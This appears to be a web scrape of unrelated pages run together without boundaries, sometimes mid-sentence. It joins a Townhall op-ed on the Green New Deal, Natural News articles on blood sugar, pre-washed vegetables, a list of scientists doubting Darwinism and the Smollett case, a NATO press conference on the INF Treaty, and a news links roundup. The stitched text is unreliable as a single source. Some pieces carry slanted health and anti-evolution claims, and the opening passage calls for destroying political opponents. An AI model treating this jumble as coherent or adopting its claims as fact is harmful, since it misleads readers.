When addressing how to pay for the government assuming the role of providing so much in the name of saving the planet, the Green New Deal simply declares, At the end of the day, this is an investment in our economy that should grow our wealth as a nation, so the question isnt how will we pay for it, but what will we do with our new shared prosperity.

There is no lie too big to tell and no shortage of people conditioned and willing to believe it. You cant compromise with that, you must destroy it before it destroys you.

Read more at: TownHall.comThe big agricultural processing companies will bid for low skills until there simply is no one left to bid for. The demand for meat cutters seems endless. Smaller towns run buses to Storm Lake to pick up immigrants for day work in those factories. They'll pay you $18 an hour at Tyson to slice pork, plus a hefty signing bonus. The workforce is overwhelmingly immigrant, well over half Latino. Tyson insists they are all legal, yet we figure about a third of the immigrant community in general here might be without papers  who knows? If the meatpackers can't find workers here, they will pick up shop and move somewhere else, like so many Iowa manufacturers before them.(Natural News) Weve all heard about the myriad of health concerns surrounding sugar and high blood sugar levels. Maybe youve even heard that blood sugar can affect your brain. And it seems that the perils of high blood glucose truly do have a negative effect on the brain. New research has found that there is a connection between blood sugar levels and the size of the hippocampus  which is the region of the brain responsible for memory. In fact, a direct correlation between high blood sugar levels and shrinkage of the brain has been observed  as well as the memory, learning and cognitive difficulties to match.

New findings on the blood sugar-brain connection

A report from German researchers was recently published in the journal Neurology sought to further examine this phenomenon. To conduct their research, 141 human subjects with an average age of 63 were recruited to participate in their analysis. Their memory and learning capabilities were assessed, and the size of each individuals hippocampus was measured using MRI brain scans. The participants blood sugar levels were also recorded.

The research team discovered that there was a direct correlation between lower blood glucose levels and positive results in several key areas of brain function. Better memory ability and a higher capacity to learn new things were both observed in those with lower blood sugar levels. There was also a significant relationship between blood sugar levels and hippocampus size: high blood sugar levels correlated with much more pronounced shrinkage of this valuable region of the brain.

Even individuals who didnt have Type 2 diabetes or otherwise impaired glucose tolerance seemed to be susceptible to the ill effects of high blood sugar: brain health and overall well-being were still negatively affected by high blood glucose levels, even in the absence of these underlying health conditions. Their findings show just how important managing your blood sugar really is, and support similar findings from other researchers.

Evidence of high blood sugars adverse effects continues to mount

The findings from the German research team are not alone: numerous studies have showcased the harmful effects high blood sugar can wage against the brain, as well as the rest of the body.

While glucose is essential for proper brain functioning because it is the brains preferred source of fuel, too much of it can yield some very much unwanted effects. Previous research published in 2012 by the journal Neurology found that even blood glucose levels on the high-end of what is considered normal could still be at a greater risk of brain shrinkage and diseases like dementia. While numerous studies had found that people with type 2 diabetes were at a greater risk for brain shrinkage and dementia, researchers wanted to know if other people could be at risk too.

Their findings also suggested that even people who do not have diabetes were still subject to adverse effects, even when their blood sugar was merely at the high end of normal.

In 2016, research published in the journal Cell found that high blood glucose levels had a serious impact, even at a cellular level. Karen N. Peart of Yale News writes, [N]ot only do mitochondria of neurons feel the change in circulating glucose levels, but that adaptive changes in these same mitochondria are at the core of the bodys ability to handle sugar in the blood.

To put this theory to the test, researchers generated a number of animal models that either had a specific mitochondrial protein called uncoupling protein 2 (UCP2) in varying amounts in the subset of brain cells that sense circulating sugar levels, or were missing the protein entirely.

The studys senior author Sabrina Diano, a professor in the Departments of Obstetrics, Gynecology and Reproductive Sciences, Neuroscience, and Comparative Medicine at the Yale School of Medicine, said, We found that when sugar increases in the body, mitochondria in subsets of brain neurons rapidly change their shape and their function is altered. She went on to explain that while the fact that these changes took place in response to glucose was not surprising, the fact that these seemingly small changes had such a powerful effect on circulating glucose by affecting the function of peripheral tissues was quite unexpected. Diano and her team want to further analyze whether these mitochondrial changes in the brain are related to the onset and propagation of type 2 diabetes.

Sources include:

NaturalHealth365.com

Neuro.HMS.Harvard.edu

News.Yale.edu

ScienceDaily.com(Natural News) Vegetables are naturally healthy. However, if you bought them pre-washed, you may want to read this article first. Researchers at the University of Cagliari in Italy examined various pre-washed vegetables and found that they contain contaminants called trihalomethanes (THMs), which are toxic byproducts of water sanitation.

THMs, such as chloroform, bromodichloromethane, dibromochloromethane, and bromoform, are a group of chemicals that can be found in public water supplies. They are formed from water treatment and are the byproduct of chlorine reacting with the different organic and inorganic substances that are already present in the water. These compounds can be absorbed by various types of foods, such as pre-washed, fresh vegetables. They can go through the human bloodstream through digestion.

Vegetables included in the study were washed and prepared by commercial food prep services and placed in stores as ready-to-eat, fresh vegetables, such as carrots, lettuces, parsley, garlic, and mixed salad.

For the study, the researchers aimed to determine the levels of THMs in various types of ready-to-eat vegetables after being washed with chlorinated water. Then, they compared the levels to current safety standards set by the European Union (EU) and the U.S. for levels of THMs in food processing water supplies.

The researchers investigated a total of 115 vegetables. The results revealed that the vegetables had absorbed an alarmingly high concentration of THMs, with an average total of nearly 77 parts per billion (ppb). In water used for food processing, the current limits are set to 80 micrograms per liter (?g/L). The researchers also found that chloroform had the highest concentration in all the vegetables investigated.

Because the THM levels found in the studys samples were alarmingly high, the researchers suggested that there is a need to optimize the process of washing ready-to-eat vegetables to the reduce the risk of chemical exposure of consumers.

The findings of this study suggest that foods exposed to chlorinated water supplies should also be investigated because they can be a primary source of combined exposure to THMs.

More reasons not to buy pre-washed vegetables

Here are more reasons why you should think twice before buying pre-packed vegetables:

They are not always clean: Pre-washed and pre-packed vegetables are not necessarily clean because of the way they are processed. The more a food item is handled and processed, the more likely it is to be contaminated. In August 2006, it was revealed that buying pre-packed and pre-washed vegetables, particularly spinach, and putting them right into the salad bowl was a great way to get E.coli. A year later, it was a great way to get salmonella, which is the most common foodborne pathogen. Pre-packed and pre-washed vegetables may have a higher possibility of harboring pathogens that can lead to foodborne diseases. This is particularly seen in vegetables that are not properly refrigerated through each step of the production process. (Related: Another reason to grow your own food: Pre-washed spinach retains 90% of the bacteria that causes food poisoning.)

Pre-washed and pre-packed vegetables are not necessarily clean because of the way they are processed. The more a food item is handled and processed, the more likely it is to be contaminated. In August 2006, it was revealed that buying pre-packed and pre-washed vegetables, particularly spinach, and putting them right into the salad bowl was a great way to get E.coli. A year later, it was a great way to get salmonella, which is the most common foodborne pathogen. Pre-packed and pre-washed vegetables may have a higher possibility of harboring pathogens that can lead to foodborne diseases. This is particularly seen in vegetables that are not properly refrigerated through each step of the production process. (Related: Another reason to grow your own food: Pre-washed spinach retains 90% of the bacteria that causes food poisoning.) They cost more: Pre-washed and pre-packed vegetables may be convenient, but it comes at a cost. This is probably because they are handled, washed, transported, refrigerated, and packed  all of which add labor costs.

Read more news stories and studies on buying vegetables by going to Veggies.news.

Sources include:

GreenMedInfo.com

More.com(Natural News) Earlier this month, a long kept list of Ph.D. scientists who dissent from Darwinism reached a milestone  it crossed the threshold of 1,000 signers.

(Article by Brittany Slaughter republished from TheCollegeFix.com)

There are 1,043 scientists on the A Scientific Dissent from Darwinism list. It passed the 1,000 mark this month, said Sarah Chaffee, a program officer for the Discovery Institute, which maintains the list.

A Scientific Dissent From Darwinism is a simple, 32-word statement that reads: We are skeptical of claims for the ability of random mutation and natural selection to account for the complexity of life. Careful examination of the evidence for Darwinian theory should be encouraged.

Launched in 2001, the list continues to collect support from scientists from universities across America and globally. Signers have earned their Ph.D.s at institutions that include Harvard, Yale, Columbia, Cornell, Princeton, Brown, Dartmouth and the University of Pennsylvania. Others on the list earned their doctorates at Clemson, UT Austin, Ohio State, UCLA, Duke, Stanford, Emory, UNC Chapel Hill and many others universities. Still other signers are currently employed as professors across the nation.

Those who sign it must either hold a Ph.D. in a scientific field such as biology, chemistry, mathematics, engineering, computer science, or one of the other natural sciences; or they must hold an M.D. and serve as a professor of medicine, according to the institute.

The group points out that signing the statement does not mean these scholars endorse alternative theories such as self-organization, structuralism, or intelligent design, but rather simply indicates skepticism about modern Darwinian theories central claim that natural selection acting on random mutations is the driving force behind the complexity of life.

According to Discovery Institute Senior Fellow David Klinghoffer, the signers have all risked their careers or reputations in signing.

Such is the power of groupthink, he wrote. The scientific mainstream will punish you if they can, and the media is wedded to its narrative that the scientists are all in agreement and only poets, lawyers, and other daft rubes doubt Darwinian theory. In fact, Im currently seeking to place an awesome manuscript by a scientist at an Ivy League university with the guts to give his reasons for rejecting Darwinism. The problem is that, as yet, nobody has the guts to publish it.

In interviews with The College Fix, some of the lists signers explained why they were willing to go public with their skepticism.

[Darwins theory] claimed to explain all major features of life and I think thats very unlikely. Nonetheless, I think Darwinism has gotten to be kind of an orthodoxy, that is its accepted in the scientific community unthinkingly and its taught to kids unthinkingly, said Michael Behe, a professor of biological sciences at Lehigh University.

Getting a list of scientists who point out that they dont believe the orthodoxy can kind of open up some minds hopefully, he said.

It is clearly a growing trend with biology to think that Darwin missed a whole lot of biology and cannot explain a good deal of evolution, Behe added.

Read more at: TheCollegeFix.com(Natural News) Its time for the Chicago Police Department to stop wasting taxpayer resources investigating what is obviously a fabricated hate crime and charge Jussie Smollett with making a false statement to police.

(Article by Tom Elliott republished from News.Grabien.com)

To quickly recap: Smollett, an openly gay actor and musician who stars in the Fox show, Empire, recently claimed he was the victim of a horrific hate crime perpetuated by Trump-supporting thugs. Besides acting, Smollett is well known for being an outspoken critic of President Trump.

According to the account relayed to the celebrity gossip site, TMZ, Smollett was attacked upon leaving a Chicago Subway sandwich shop around 2 AM. The masked attackers, he says, recognized him, hurled racial and homophobic epithets at him (Empire f*gg*t n*gger!), beat him up, tied a noose around his neck, poured bleach on him, and said triumphantly, This is MAGA Country!

The original report said his rib was broken in the attack and he was recovering in a hospital. Smollett also told police that in the days before the attack, he received a death threat in the mail. That letter was signed MAGA, the same thing he says his attackers yelled. The letter itself used letters from magazines to conceal the senders handwriting:

Image via Best TV News

News of the attack immediately went viral, and celebrities worldwide used the incident to denounce what they described as growing intolerance of minorities.

But as people clamored for more information, Smollett started clamming up. The Chicago Police Department opened an investigation, with an assist from the FBI, only to find the actor extremely uncooperative. What evidence they did turn up only served to undermine Smolletts story.

During a performance at Chicagos Troubadour Theater days after the attack, Smollett read a prepared statement acknowledging parts of his original story were untrue. Smollett admitted his ribs were not actually broken and that he never went to the hospital.

A couple of points I wanted to make really quick; just because  four points, he said before performing an encore. I was bruised but my ribs were not cracked, they were not broken. I went to the doctor immediately, my friend Gatson [sp?] drove me. I was not hospitalized. Both my doctors in LA and Chicago cleared me to perform but said to take care obviously. But above all, I fought the f*ck back.

Investigators also failed to locate any evidence corroborating Smolletts claims. Security footage reviewed by the Chicago Police Department show a gap where the actor was walking, disappeared from camera, and returned one minute later with a noose around his neck. For an attack as brutal as Smollett described, this is a very small time window for so much to have occurred.

The Chicago Police Department say security footage show the actor returning to his apartment still clutching the Subway sandwich he had bought before the incident, which many found surprising since he had just apparently undergone a horrific ordeal in which he fought the f*ck back against racist thugs. That his attackers happened to randomly run into him at 2 AM while carrying the perfect accessories for an anti-black hate crime  bleach and a noose  also struck many as odd, especially as a cold spell meant Chicago temperatures were well below zero that night.

Read more at: News.Grabien.com(as delivered)

Good afternoon.

Allied Defence Ministers have just met to address Russias violation of the Intermediate-Range Nuclear Forces Treaty.

All 29 NATO Allies agree that the SSC-8 missile system developed and deployed by Russia is a significant risk to our security.

It is mobile and hard to detect.

It can reach European cities with little warning, carrying a conventional or nuclear warhead.

And it lowers the threshold for the use of nuclear weapons.

The United States and other Allies have engaged with Russia about this missile system for years.

Including at a meeting of the NATO-Russia Council last month.

Its clear that a treaty that is only respected by one side cannot keep us safe.

That is why the United States, with the full support of all NATO Allies, has announced its intention to withdraw from the INF Treaty.

This will take six months.

So Russia still has a chance to come back into compliance.

And we call on Russia to take this opportunity.

Russia knows what to do.

All Allies stand ready to engage further with Russia.

But we are also preparing for a world without the INF Treaty.

And Defence Ministers discussed this today.

NATO is currently assessing the consequences of Russias breach of the Treaty.

I will not pre-empt the outcome of this process.

But any steps we take will be defensive, measured and coordinated.

And we do not intend to deploy new land-based nuclear missiles in Europe.

NATO will continue to maintain credible and effective deterrence and defence.

At the same time, Allies remain committed to effective arms control, disarmament, and non-proliferation.

NATO does not want a new arms race.

Our Alliance remains agile and ready to deal with any threat from any direction.

We are currently adapting the NATO command structure.

And working on a new Readiness Initiative, which we call the Four Thirties.

This means that Allies will make available: 30 combat ships, 30 land battalions,

and 30 air squadrons,

within 30 days or less.

To increase our ability to respond quickly and decisively to any future crisis.

Today, a number of nations have made offers to our Readiness Initiative.

And I welcome this.

Because it will not just increase our readiness,

But it will also help us share the burden of our security more fairly.

Tonight, we will discuss progress on three areas of burden sharing:

Cash, capabilities and contributions.

At our Summit in July, leaders agreed there is a new sense of urgency.

And decided to develop credible national plans.

As a result, since 2016, European Allies and Canada have spent an extra 41 billion US dollars on defence.

And based on the latest national plans, this number will rise to a cumulative one hundred billion dollars by next year.

Allies are modernizing their equipment.

And contributing more to NATO missions and operations.

There is still work to do to adapt to an unpredictable world.

But as we approach our 70th anniversary, the Alliance is in good shape.

And with that, I am ready to take your questions.

Oana Lungescu [NATO Spokesperson]: Okay, well go with Reuters in the first row, please.

Robin Emmott [Reuters]: You mentioned in the beginning, you said that Russia still has six months to come back into compliance on the INF Treaty. I wondered, do you envisage any shift in the NATO diplomacy to try and encourage Russia to comply?

Jens Stoltenberg [NATO Secretary General]: All Allies and NATO as an alliance will continue to engage with Russia. We have already raised this issue in the NATO-Russia Council, we did that just a few weeks ago, where we called on Russia to come back into compliance in a verifiable and transparent way. NATO has been and is very united on the issue of INF, meaning that we both convey a message to Russia to come back into compliance, but we are also united as in our plan, and prepare for a world with more Russian missiles and without the INF Treaty.

I expect the INF Treaty to also be an issue that will be addressed at the Munich Security Conference, because this affects, of course, all NATO Allies but also other countries. We will continue to raise this in the framework of the NATO-Russia Council and I know that several Allies have already, and are planning, to raise this bilaterally with Russia.

So, Russia knows that we are ready, knows that we think and believe that the INF Treaty is of great importance, but no treaty will work if its only respected by one side. And, therefore, it is Russia that has the responsibility to come back to compliance and to preserve the Treaty.

Oana Lungescu: Okay, well go all the way up there, the lady in red in the middle. The microphone is coming.

[Danish TV]: You mentioned you dont want a new arms race against Russia, but at the same time you have now agreed today to do plans to do this Four 30s. How come you view that this initiative, such a big initiative, is necessary in NATO? How can this not be viewed as an aggression by Russia? This is my first question. The other question is: Denmark has now put forward proposals about burden-sharing, will put Denmark in a position to deliver 1.5 percent in 2023. What is your response to Denmark? Can they now lean back and enjoy, or will they need to come back with more ?

Jens Stoltenberg: No Ally can lean back. All Allies have to be agile and to contribute to our shared security, to our collective defence. But, I welcome the fact that Denmark is stepping up, that Denmark is doing more, both when it comes to increased defence spending but also when it comes to contributions to NATO missions and operations.

The majority of NATO Allies now have plans to reach the 2 percent guideline, spending 2 percent of GDP by 2024. Not all Allies have submitted plans to do so, but even those Allies that don currently have plans to reach the 2 percent, even those Allies have started to increase  and what they do also makes a difference. And Denmark is in that group of Allies that have not yet currently a plan to reach 2 percent, but which have a plan to increase, and not only have a plan to increase, but actually have started to increase. So based on the reports we have received from all Allies, we can state that all Allies have stopped the cuts. And, we have to remember that for many, many years European Allies were cutting defence spending. Now they are all increasing, investing more.

Second, more Allies will reach the 2 percent target, meaning more Allies have already reached that target and the majority have plans to reach it by 2024. So if we then look at what has happened since 2016, by the end of next year they will have added 100 billion extra for defence spending. So, this matters, this helps, and I welcome what Denmark is doing.

But, of course, no Ally can lean back. We all have to do more, invest more and increase the readiness of our forces and contribute, for instance, to this new readiness initiative. The readiness initiative is about making NATO able to handle a more unpredictable and uncertain world and the best way of doing that is to have ready forces which can be deployed, which can be used, if necessary. The reason to have a strong and ready Alliance is not to provoke a conflict but to prevent a conflict. And thats the way we have been able to preserve peace and prevent conflict for 70 years  sending a clear message to any potential adversary that NATO is there, we are able to react and if one Ally is attacked, its considered as an attack on the whole Alliance and we can then support. The challenge for us is to find the right balance between being strong, firm  but at the same time avoiding a new arms race and continuing to engage in dialogue with Russia. We do that by being balanced and measured in our responses, by continuing to strive for a meaningful dialogue with Russia, and also by the messages we are sending when it comes to responding to the Russian violations of the INF Treaty, because the fact that we are saying that first of all we will take our time, before we make any decisions, because we are now focused on the remaining six months, which is an opportunity for Russia to come back into compliance.

Second, we say that our responses will be measured, defensive and we have also stated that we dont have any intentions of deploying new nuclear land-based systems in Europe. So, we are not mirroring what Russia is doing and I think the way we are dealing with this shows that we are actually looking for that balance between being firm, but at the same time preventing a new arms race.

Oana Lungescu: Polish TV, the lady in the first row.

[Polish TV]: . I have question related to Poland, because today in Poland, Poland has sealed the contract to buy HIMARS rockets from US, and also today, American ambassador to Poland thought in interview that the US is considering increasing American presence, military presence in Poland. Could you comment on this please? And do you think that it can increase security of NATO?

Jens Stoltenberg: So first of all, its not for NATO to decide exactly from where different Allies buy their equipment. We have a NATO defence planning process where we agree on different capabilities that different Allies should acquire, but where they buy them from or acquire these different systems is not for NATO to decide, but we allocate different capability targets and then we leave it to, of course, the nations to decide exactly how they fill or meet those capability targets.

Second, the United States and NATO, we have already increased our presence in Poland. We have one of the new battle groups, in the Eastern part of the Alliance, its based in Poland. And, the United States is the lead nation for that battle group. We have also a new US Armoured Brigade in Poland which rotates in Europe, but which rotates regularly also through Poland. And we have seen also more investments in infrastructure, more exercises of NATO Allies and of course, US being part of that in Europe, including in Poland. We are constantly addressing our posture. We are adjusting the posture. So its nothing new that NATO and US, that we are increasing our presence also in a country like Poland.

Oana Lungescu: Okay, TASS, second row.

Denis Dubrovin [TASS News Agency]: Thank you very much, Denis Dubrovin, TASS News Agency. Mr Secretary General, at the last NATO summit here in Brussels, US president Mr Trump has said that NATO countries should actually pay 4 percent of their GDP for defence. Now United States has withdrawn from the INF Treaty and there is a perfect reason to pay more, because NATO has to develop new defensive actions in the new . . . situation. So do you expect that at the upcoming summit in Great Britain, the new threshold for military defence will be higher, to 3 or maybe 4 percent? Thank you.

Jens Stoltenberg: The United States has not withdrawn from the INF Treaty. The United States has declared its intention to withdraw and started the process  but giving Russia six months to come back into compliance. And we all have to understand that the problem is not the announcement from the United States, but the problem now is that Russia continues to deploy new nuclear-capable missiles in Europe, in clear violation of the INF Treaty. And this is not only an issue that has been raised by the Trump administration, but it was actually originally raised by the Obama administration almost six years ago.

So we have given Russia a lot of time to come back into compliance. They continue to violate the Treaty and therefore all Allies agree that Russia is in violation of the Treaty, we did that through our statement in December and all Allies support the US announcement, because the INF Treaty doesnt work if its only respected by one side, it doesnt keep us safe. We have an agreement related to 2 percent, at the summit in July. We all agreed that there is a new sense of urgency to deliver on that commitment. And the good news is that we are doing exactly that. And I also know that the United States recognizes the progress that European Allies and Canada are making. President Trump mentioned the fact that the European Allies and Canada will add 100 billion extra US dollars for defence spending from 2016, by the end of 2020. So my focus, and NATOs focus, is to deliver and to implement what we have already agreed on defence spending.

Oana Lungescu: Washington Post. Over there.

Michael Birnbaum [The Washington Post]: Thanks. Michael Birnbaum from The Washington Post. This is Acting Secretary Shanahans first trip to, to NATO and his first sessions with his counterparts. Could you give us a sense . . . you know there was a lot of . . . well, Secretary Jim Mattis was well-loved here at NATO and there was general nervousness about anybody other than Mattis coming from the Trump administration, could you give us a sense of what message Secretary Shanahan sent in his first interactions with defence ministers and how that message was received by his peers? Thank you.

Jens Stoltenberg: The message from Acting Secretary of Defense, Patrick Shanahan was very well received by all NATO Allies, because it was a very strong and a very clear message about the US ironclad commitment to NATO, to Article 5 and also the very strong personal commitment he has to NATO. I met him a few weeks ago. I know that his background from defence industry, but also some years at the Pentagon, is a background which is highly valued by NATO Allies. And also the fact that hes coming directly from Iraq and Afghanistan, where NATO has operations, where we train, assist and advise the Iraqi forces and the Afghan forces, also made it very useful and something we very much welcome, the fact that he then came to the NATO ministerial and can share his assessments and his analysis coming directly from NATO operations.

Secretary Mattis was, of course, also a welcomed participant at the NATO ministerial meetings, but we all look forward to working with Secretary Shanahan. I welcome the fact that he received me in Washington, he is now welcomed here at the defence ministerial meeting and he has a strong personal commitment to the Alliance. And we are really encouraged by his very strong message today on the commitment to NATO but also on the INF and the importance of NATO remaining united in the way we respond to the INF Treaty.

Oana Lungescu: Bloomberg, lady on the third row, yeah, thanks.

[Bloomberg]: Thank you. Did any member state bring up the issue of China and cyber security during todays meetings? And a second question, if I may: what will NATO do if Turkey decides to go ahead and buy the Russian missile system? Thank you.

Jens Stoltenberg: The session we just finished was about INF and therefore it was not so much focused on other issues. We will discuss NATO readiness later on today, and also deterrence and defence, and I expect that Allies will also mention the fact that China is a rising power and some Allies have already expressed concerns related to cyber security infrastructure, and so on. But in the session we just finished, this was not the issue.

Then, on the S-400, well, its up to each and every Ally to decide what kind of equipment they acquire, thats a national decision. At the same time, I know that there is a dialogue going on between the United States and Turkey on the question of missile and air defence. I know that there is also some contacts between Turkey and other Allies  France and Italy  on a French-Italian system called SAMP-T. And on top of that, NATO has already deployed two batteries, one SAMP-T battery and one battery of Patriot missiles in Turkey. Thats done by Spain and Italy.

Oana Lungescu: Okay, Deutsche Welle, the gentleman in the middle.

[Deutsche Welle]: Secretary General, just for me to understand what was decided today by the defence ministers, so you, you just de . . . on the INF, of course  so you just decided to think how to prepare for the world without INF, while also engaging with Russia diplomatically, and isnt it a bit late to start thinking about it now? And the second question: German Minister, Ursula von der Leyen, she said that she doesnt exclude anything in the mix of . . . of what, of how NATO may react to Russia not complying with INF. So do you exclude anything, like you said that NATO is not intending of deploying nuclear missiles, do exclude it? Thank you very much.

Jens Stoltenberg: NATO didnt start to think today. The Alliance has been thinking for decades and we have actually been thinking and assessing and analysing the consequences of the new missiles, the new Russian missiles for actually some time, because we have seen the violations, we have seen the deployments of the new Russian missiles. They are mobile, they are hard to detect, they will reduce the warning time and therefore they reduce the threshold for any potential use of nuclear weapons in armed conflict.

But, our main focus has been  and still is  to try to preserve the Treaty, to try to maintain this cornerstone of arms control, which didnt only reduce the number of missiles, but actually abolished, banned a whole category of missiles  all intermediate-range missiles. So we continue to work for the best solution, and that is arms control, to preserve, save the INF Treaty. But, the only way to do that is for Russia to come back into compliance. And there is still a window of opportunity. So we actually do two things at the same time: we prepare, we think, we analyse the consequences of the Treaty breaking down; but at the same time, we try to save the Treaty because there is no doubt that thats the best way to address this challenge. If we dont succeed with that  and thats up to Russia, and we will only know that at the end of the six-month period  then, of course, we need also to respond. We will take our time. We will be measured, because we want to avoid a new arms race. At the same time we have to understand that the new Russian missiles, they are not an isolated event or thing, they are part of a broader picture where we are seeing Russia investing heavily in modern military capabilities over a long time, including new nuclear capabilities.

They have announced a lot of new nuclear weapon systems and they have used force against a neighbour in Ukraine. All of this has led to the biggest reinforcement of NATOs collective defence for a decade, or for decades, since the end of the Cold War. So we have actually already done something, by increasing the readiness of our forces, tripled the size of the NATO Response Force, deployed combat-ready troops to the eastern part of the Alliance. We have, after years of cutting defence budgets, we have started to increase defence budgets, investing in modern capabilities and, also, for instance, reforming our command structure, so we are able to move forces more quickly over the Atlantic and throughout Europe. So its not like NATOs not doing anything, we are doing a lot. But what we do is measured and responsible, to find this balance between being firm, strong, but at the same time not escalating the situation unnecessary. I cant remember the last part of the question.

[Deutsche Welle]: [inaudible; off mic]

Jens Stoltenberg: We have now this process going on which is also then part of an ongoing adaptation of NATO. It didnt start today, it has been an ongoing process for some time. But, when it comes to how we react to the specific deployment of the SSC-8 and the demise of the INF Treaty, well, first of all we still try to save the Treaty by calling Russia back into compliance. Its therefore its too early to pre-empt the conclusions. There are different options, a wide range of different possibilities of NATO to respond. We dont have to mirror what Russia does, and we havent done that before either, meaning mirror missile-for-missile or plane-for-plane or whatever they deploy. But, we just have to make sure that we still have credible and effective deterrence and defence, and we can do that by using different tools. What I have said, without pre-empting the conclusion, is that we will do it as an Alliance, united. Thats important. Second, that it will be measured and defensive. Thats important. And I have stated that NATO doesnt have any intentions of deploying new nuclear-capable ground-launched systems in Europe, and I think this is clear message before we, as I say, arrive on the final conclusions of our process.

Oana Lungescu: Thank you very much. This concludes this press point, thank you.Allied Defence Ministers discussed at NATO Headquarters on Wednesday (13 February 2019) the consequences of Russias breach of the Intermediate-Range Nuclear Forces Treaty. Secretary General Jens Stoltenberg said after the meeting that Russias SSC-8 missile system is a significant risk to the security of the Alliance. Mr. Stoltenberg stressed that Russia still has a six month window to come back into compliance with the INF Treaty and it should take this opportunity.

Read the Secretary General's press conference hereOn Wednesday (13 February 2019), the Defence Ministers from Croatia, Hungary, Slovakia and Slovenia signed a Letter of Intent (LOI) to establish a Regional Special Operations Component Command (R-SOCC) in the margins of the meetings of NATO Defence Ministers in Brussels. Partner nation Austria will sign the LOI immediately following the NATO Defence Ministerial Meeting. This makes this initiative another example of close cooperation between NATO Allies and partners.

Under the leadership of Hungary, the four European Allies and partner nation Austria will work together to form a deployable R-SOCC for Small Joint Operations. This command will dramatically increase the ability of these five nations to effectively employ their Special Forces. The non-permanent structure of the R-SOCC enables each participant to use its own contributions separately, while benefitting from the integrated R-SOCC structure once activated for a deployment.

NATO Deputy Secretary General Rose Gottemoeller praised this initiative, stating that it presents a significant step forward in strengthening Special Operation Forces capacities in the region, and towards a fully integrated multinational regional command element.

The new multinational command will be developed in line with NATO standards, leveraging the expertise of NATOs Special Operations Headquarters in Mons, Belgium. While primarily intended for NATO and EU operations, the command could participate in other multilateral missions, exercises or trainings.Watch the trailer for a new film by Story in Progress following a team of scientists, explorers and conservationists surveying the effects of climate change on a remote region of the Great Barrier Reef.

The full film is available to watch now.Black leopard spotted in Africa for first time in 100 years National Geographic (integer)

Moving artificial leaves out of the lab and into the air PhysOrg (David L)

Pretty sure I linked to a video of this device quite a while back, but it is still totally cool:

Mesmerizing. The @wintergatan Marble Machine, built by Swedish musician Martin Molin, makes music using 2,000 marbles h/t @JamesMelville pic.twitter.com/4PPuVK2W5A  Ian Fraser (@Ian_Fraser) February 12, 2019

Dozens of companies launch US$1 billion bid to end plastic pollution in Asia but environmentalists dismiss it as greenwashing stunt South China Morning Post (J-LS)

Climate of North American cities will shift hundreds of miles in one generation Science Daily (Kevin W)

Greenlands Melt Will Drive Up Sea LevelsBut Also Give Us Sand Gizmodo (Kevin W)

Minneapolis 911 dispatchers complain of delays caused by mandatory script City Pages. Chuck L: More dysfunctional computerization.

Liberals and Conservatives React in Wildly Different Ways to Repulsive Pictures Atlantic (Lance N). This sort of thing drives me crazy. N=86. You need at least 100 in each of an A-B population to have confidence in results. As one of many examples, a small-scale monkey study funded by anti-vaxxers at a very reputable, independent lab seemed to confirm their theories. When they scaled up the study to numbers that would be seen as dispositive, the anti-vax theory was decisively disproven. The small sample was not representative. We arent told how these people were chosen and the manner of their selection (age? location?) may have introduced bias. I dunno about brain scans, but Lambert recently sent me what he called an extreme anti-antidote. Per this theory, if you find the storyline too upsetting to even read the article, you are conservative. Yet I would bet a lot of NC readers would choose to skip over it on the assumption that they got the basic idea and reading it would be too disturbing. And how do you explain hunters, who tend to skew politically conservative? They not only shoot animals (gory gunshot wounds) but almost always clean and dress their kills.

Mind you, this finding could be accurate, but this study doesnt prove it, and it bothers me that the media is so eager to promote studies that cant be deemed conclusive due to the sample size.

No Local Woe, Indias Poor Public Health Feeds Antibiotic Resistance Worldwide The Wire (J-LS)

First Big Depression Advance Since Prozac Nears FDA Approval Bloomberg

Study links heavily processed foods to risk of earlier death Guardian

China?

Brexit

PM Trudeau surprised and disappointed by Wilson-Rayboulds resignation CTV News. Fox Blew: Big political scandal up here in Canada that broke a few days ago and has a real potential to bring Trudeaus government down. It certainly does not look good for the Liberals.

New Cold War

Syraqistan

Big Brother is Watching You Watch

Imperial Collapse Watch

Admiral to Congress: Think about the 280-plus ships that didnt have collisions Defence News. Kevin W: Link from Antiwar.com and not the Onion.

Trump Transition

The Intercept: There Is a Taboo Against Criticizing AIPAC  and Ilhan Omar Just Destroyed It Intercept (resilc). I wish. She acted like she was cowed.

Warrens foreign policy shows shes missing why Trump was elected Guardian (Bill B)

Bernie 2020 Campaign Has Corporate Democrats Running Scared Common Dreams

Mark Kelly launches bid for John McCains Senate seat CNN (furzy)

McConnell to set up vote on Ocasio-Cortezs Green New Deal The Hill

Democrats, Stop Groveling New York Times (resilc)

UVMs Kake Walk Featured Blackface Performers for Decades Off Message (resilc)

California to scale back $77 billion high-speed rail project: governor Reuters Quelle surprise.

Why Saudi Arabia could be behind the Jeff Bezos extortion attempt The Verge (resilc)

Solar energy sector lost 8,000 jobs in US last year, but future looks bright  report Guardian. Resilc: I see loads of start-ups in usa usa making panels after the chinese tariffs.in my dreams.

Best U.S. Job Numbers Ever? Not If Youre Out of Work for a Year Bloomberg (resilc)

A Large Equity Drawdown Would Cause Major Problems for CalPERS Chief Investment Officer (jpr, Kevin W)

More Americans Are At Least 3 Months Behind On Their Car Payment Than Ever Before Jalopnik

The brainwashing of economics graduate students Bill Mitchell (Chuck L)

Class Warfare

Today in 1922, researchers at the University of Toronto announced the discovery of insulin. They sold the patent for $1 so it would be available to all. 97 years later, Eli Lilly is charging ~$300 and Americans die because they cant afford their medication. Outrageous.  Bernie Sanders (@SenSanders) February 11, 2019

Some university chiefs paid 13 times more than staff BBC

New York Lawmakers Fuming Without Key Details on Amazon Campus Bloomberg

Prepare students for a future of artificial intelligence Financial Times (David L)

The CA Labor Commissioner has fined a construction contractor $12 million for wage theft and other violations committed over 3 years against 1,000 workers. Rather than just back pay and fines, bosses who steal from their employees on this scale should be locked up. https://t.co/kZ3arrOf1B  DC (@costadaniel) February 12, 2019

Antidote du jour. Resilcs cats in Habana:

And a bonus video:

See yesterdays Links and Antidote du Jour here.The editorial board is made up of a group of about a dozen journalists who draw on their years of experience as reporters and editors covering politics, business, arts and other topics in Chicago and around the world. Throughout the year, the group writes editorials about a wide range of issues. The opinions expressed are those of the Chicago Tribune, the institution, not of individual board members. During election season, we devote a lot of time to evaluating candidates and writing endorsements. It would be an abdication to say what we think should be done on an array of issues every day  and then remain silent about who is most likely to advance those goals.MDC-T Vice President Obert Gutu has made a veiled dig at the rival opposition party MDC Alliance for dismissing statements released by the Southern African Development Community (SADC) and the African Union (AU) supporting the government of Zimbabwe over the brutal crackdown on protesters and calling for the removal of sanctions.

